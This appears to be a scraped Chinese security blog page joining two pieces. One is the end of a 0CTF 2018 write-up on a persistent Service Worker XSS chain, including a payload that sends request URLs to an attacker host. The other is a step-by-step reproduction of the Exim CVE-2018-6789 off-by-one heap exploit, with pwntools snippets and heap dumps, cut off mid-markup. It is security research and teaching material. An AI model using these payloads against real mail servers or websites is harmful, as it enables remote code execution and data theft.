2、其次你需要浏览器支持,现在并不是所有的浏览器都支持Service Worker。当我们满足上述条件,并且有一个xss利用点时,我们可以尝试构造一个持久化xss利用点,但在利用之前,我们需要更多条件。
1、如果我们使用
navigator.serviceWorker.register
来注册js,那么这里请求的url必须同源而且请求文件返回头必须为text/javascript, application/x-javascript, application/javascript
中的一种。2、假设站内使用onfetch接口获取内容,我们可以通过hookfetch接口,控制返回来触发持久化控制。
对于第一种情况来说,或许我们很难找到上传js的接口,但不幸的是,jsonp接口刚好符合这样的所有条件~~
具体的利用方式我会额外在写文分析这个,详情可以看这几篇文章:
http://drops.xmd5.com/static/drops/web-10798.html
https://speakerdeck.com/masatokinugawa/pwa-study-sw
最后的这个ppt最详细,但他是日语的,读起来非常吃力。
这里回到题目,我们可以注意到站内刚好有一个jsonp接口
1https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d值得注意的是,这里的callback接口有字数限制,这里可以通过和title的配合,通过注释来引入任何我们想要的字符串。
1/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});这里需要注意的是,在serviceWorker线程中,我们并不能获取所有的对象,所以这里直接获取当前请求的url。
完整的利用链如下:
1、将
*/onfetch=e=>{fetch(
https://my-domain/?${e.request.url})}//
写入文章内,并保留下文章id。2、构造jsonp接口
https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}
1/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});3、上传svg,
https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg
1navigator.serviceWorker.register('/blog/pad.php?callback=/*&id={sw_post_id}')4、构造manifest文件,
https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg
1234CACHE MANIFESTFALLBACK:/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg5、构造embed页面url
1https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube6、最后构造利用文章内容
123456789101112[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt]7、发送post id即可
REF
-
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
-
https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed
-
https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club
-
https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803
-
https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.space
-
https://github.com/l4wio/CTF-challenges-by-me/blob/master/0ctf_quals-2018/h4x0rs.space/solve.py
-
Exim Off-by-one(CVE-2018-6789)漏洞复现分析
作者:Hcamael@知道创宇404实验室
前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。
本次漏洞复现的过程中,踩了好多坑,实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造,所以在这部分卡了很久(猜测是因为环境不同的原因),之后决定先理解meh利用的大致思路,然后自己根据实际情况对堆块进行构造,虽然过程艰难,但最终基本算是成功了。
复现环境搭建
本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]
然后把分支切换到上一个commit
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ git checkout </span><span class="lit">38e3d2dff7982736f1e6833e06d4aab4652f337a</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">$ cd src</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li></ol>Makefile仍然使用上次那个:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ cat </span><span class="typ">Local</span><span class="pun">/</span><span class="pln">makefile </span><span class="pun">|</span><span class="pln"> grep </span><span class="pun">-</span><span class="pln">v </span><span class="str">"#"</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">BIN_DIRECTORY</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">CONFIGURE_FILE</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">configure</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">EXIM_USER</span><span class="pun">=</span><span class="pln">ubuntu</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SPOOL_DIRECTORY</span><span class="pun">=/</span><span class="pln">var</span><span class="pun">/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">ROUTER_ACCEPT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">ROUTER_DNSLOOKUP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">ROUTER_IPLITERAL</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">ROUTER_MANUALROUTE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">ROUTER_QUERYPROGRAM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ROUTER_REDIRECT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">TRANSPORT_APPENDFILE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">TRANSPORT_AUTOREPLY</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">TRANSPORT_PIPE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">TRANSPORT_SMTP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">LOOKUP_DBM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">LOOKUP_LSEARCH</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">LOOKUP_DNSDB</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">PCRE_CONFIG</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">FIXED_NEVER_USERS</span><span class="pun">=</span><span class="pln">root</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">AUTH_CRAM_MD5</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">AUTH_PLAINTEXT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">AUTH_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">HEADERS_CHARSET</span><span class="pun">=</span><span class="str">"ISO-8859-1"</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SUPPORT_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">TLS_LIBS</span><span class="pun">=-</span><span class="pln">lssl </span><span class="pun">-</span><span class="pln">lcrypto</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">SYSLOG_LOG_PID</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">EXICYCLOG_MAX</span><span class="pun">=</span><span class="lit">10</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">COMPRESS_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">gzip</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">COMPRESS_SUFFIX</span><span class="pun">=</span><span class="pln">gz</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ZCAT_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">zcat</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">SYSTEM_ALIASES_FILE</span><span class="pun">=/</span><span class="pln">etc</span><span class="pun">/</span><span class="pln">aliases</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">EXIM_TMPDIR</span><span class="pun">=</span><span class="str">"/tmp"</span></code></li></ol>然后就是编译安装了:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ make </span><span class="pun">-</span><span class="pln">j8</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ sudo make install</span></code></li></ol>启动也是跟上次一样,但是这里有一个坑点,开启debug,输出所有debug信息,不开debug,这些都堆的布局都会有影响。不过虽然有影响,但是只是影响构造的细节,总体的构造思路还是按照meh写的paper中那样。
本篇的复现,都是基于只输出部分debug信息的模式:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code class="lang-sh"><span class="com"># 输出完整debug信息使用的是-bdf -d+all</span></code></li><li class="L2"><code class="lang-sh"><span class="com"># 不开启debug模式使用的是-bdf</span></code></li></ol>漏洞复现
因为我觉得meh的文章中,漏洞原理和相关函数的说明已经很详细,我也没啥要补充的,所以直接写我的复现过程
STEP 1
首先需要构造一个被释放的chunk,但是没必要像meh文章说的是一个0x6060大小的chunk,只需要满足几个条件:
这个chunk要被分为三个部分,一个部分是通过
store_get
获取,用来存放base64解码的数据,用来造成off by one
漏洞,覆盖下一个chunk的size,因为通过store_get
获取的chunk最小值是0x2000,然后0x10的堆头和0x10的exim自己实现的堆头,所以是一个至少0x2020的堆块。第二部分用来放
sender_host_name
,因为该变量的内存是通过store_malloc
获取的,所以没有大小限制第三部分因为需要构造一个fake chunk用来过free的检查,所以也是一个至少0x2020的堆块
和meh的方法不同,我通过
unrecognized command
来获取一个0x4041的堆块,然后通过EHLO
来释放:1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">4102</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2010</span><span class="pun">)))</span></code></li><li class="L2"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1e0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L0"><code class="lang-python"><span class="pun">}</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191c0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4040</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L8"><code class="lang-python"><span class="pun">}</span></code></li></ol>0x1d15180是通过
unrecognized command
获取的一个0x4040大小的chunk,在执行完EHLO
命令后被释放, 然后0x1d191c0是inuse的sender_host_name
,这两部分就构成一个0x6060的chunkSTEP 2
现在的情况是
sender_host_name
位于0x6060大小chunk的最底部,而我们需要把它移到中间这部分的思路和meh的一样,首先通过
unrecognized command
占用顶部0x2020的chunk之前的文章分析过,
unrecognized command
申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);
通过计算,只需要让
length + nonprintcount * 3 + 1 > yield_length
,store_get
函数就会从malloc中申请一个chunk1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">0x800</span><span class="pun">)</span></code></li></ol>这个时候我们就能使用
EHLO
释放之前的sender_host_name
,然后重新设置,让sender_host_name
位于0x6060大小chunk的中部1<ol class="linenums"><li class="L0"><code><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2000</span><span class="pun">-</span><span class="lit">9</span><span class="pun">)))</span></code></li><li class="L1"><code><span class="com"># heap</span></code></li><li class="L2"><code><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191a0</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code><span class="pun">}</span></code></li><li class="L0"><code><span class="lit">0x1d171a0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2000</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code><span class="pun">}</span></code></li><li class="L8"><code><span class="lit">0x1d191a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x63636363636363</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6061</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d15180</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">}</span></code></li><li class="L6"><code><span class="lit">0x1d1f200</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6060</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d27380</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636328</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L3"><code><span class="pun">}</span></code></li></ol>STEP 3
现在我们的堆布局是:
- 第一块未被使用的0x2020大小的chunk
- 第二块正在被使用0x2000大小的
sender_host_name
- 第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk
我们现在再回过头来想想各个chunk的size的设置的问题
CHUNK 1
第一个chunk是用来触发
off by one
漏洞,用来修改第二个CHUNK的size位,只能溢出1bytestore_get
最小分配一个0x2020的chunk,能储存0x2000的数据这就导致了,如果按照
store_get
的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位然后因为
(0x2008-1)%3==0
,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位CHUNK2
第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0
其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。
经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用
CHUNK3
第三个chunk只要求大于一个
store_get
申请的最小size(0x2020)就行了STEP 4
根据第三步叙述的,我们来触发
off by one
漏洞1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload1 </span><span class="pun">=</span><span class="pln"> </span><span class="str">"HfHf"</span><span class="pun">*</span><span class="lit">0xaae</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">payload1</span><span class="pun">[:-</span><span class="lit">1</span><span class="pun">])</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE IS_MMAPED </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol>并且构造在第三块chunk中构造一个fake chunk
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload </span><span class="pun">=</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0x20f0</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x1f31</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">((</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">484</span><span class="pun">).</span><span class="pln">encode</span><span class="pun">(</span><span class="str">"base64"</span><span class="pun">).</span><span class="pln">replace</span><span class="pun">(</span><span class="str">"\n"</span><span class="pun">,</span><span class="str">""</span><span class="pun">))</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x1d1b1c0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1c0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span 